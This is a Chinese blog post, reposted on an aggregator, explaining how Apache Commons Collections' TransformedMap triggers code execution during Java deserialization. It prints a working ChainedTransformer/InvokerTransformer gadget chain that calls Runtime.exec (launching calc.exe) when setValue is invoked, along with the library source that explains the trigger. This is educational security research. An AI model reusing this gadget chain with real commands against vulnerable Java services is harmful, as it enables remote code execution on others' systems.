千家信息网

java反序列化 - transformedMap类可以执行恶意代码的原理

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,java反序列化 - transformedMap类可以执行恶意代码的原理0x00 代码Map map=new HashMap(); map.put("key","value");
千家信息网最后更新 2025年01月20日java反序列化 - transformedMap类可以执行恶意代码的原理

java反序列化 - transformedMap类可以执行恶意代码的原理

0x00 代码

Map map=new HashMap();         map.put("key","value");         //调用目标对象的toString方法         String command="calc.exe";         final String[] execArgs = new String[] { command };         final Transformer[] transformers = new Transformer[] {                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod", new Class[] {                         String.class, Class[].class }, new Object[] {                         "getRuntime", new Class[0] }),                 new InvokerTransformer("invoke", new Class[] {                         Object.class, Object[].class }, new Object[] {                         null, new Object[0] }),                 new InvokerTransformer("exec",                         new Class[] { String.class }, execArgs)         };         Transformer transformer=new ChainedTransformer(transformers);         Map transformedMap=TransformedMap.decorate(map,null,transformer);         for (Map.Entry entry:transformedMap.entrySet()){            System.out.println(entry);             entry.setValue("anything");         }

执行结果:

0x01 transformedMap类为什么可以执行恶意代码?

通过上一篇https://blog.51cto.com/13770310/2160737文章, 可知ChainedTransformer的transformer方法可以执行恶意代码。
上述代码的关键是:

         for (Map.Entry entry:transformedMap.entrySet()){            System.out.println(entry);             entry.setValue("anything");         }

为什么执行了 entry.setValue("anything");就可以造成恶意代码执行呢?接下来我们看transformedMap类的checkSetValue方法:

    /**     * Override to transform the value when using setValue.     *      * @param value  the value to transform     * @return the transformed value     * @since Commons Collections 3.1     */    protected Object checkSetValue(Object value) {        return valueTransformer.transform(value);    }

当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法,如果传入的valueTransformer是ChainedTransformer的对象,那不就可以造成恶意代码执行了吗。
接着查看上面代码:

因此该代码的核心还是使用的ChainedTransformer的transformer方法

0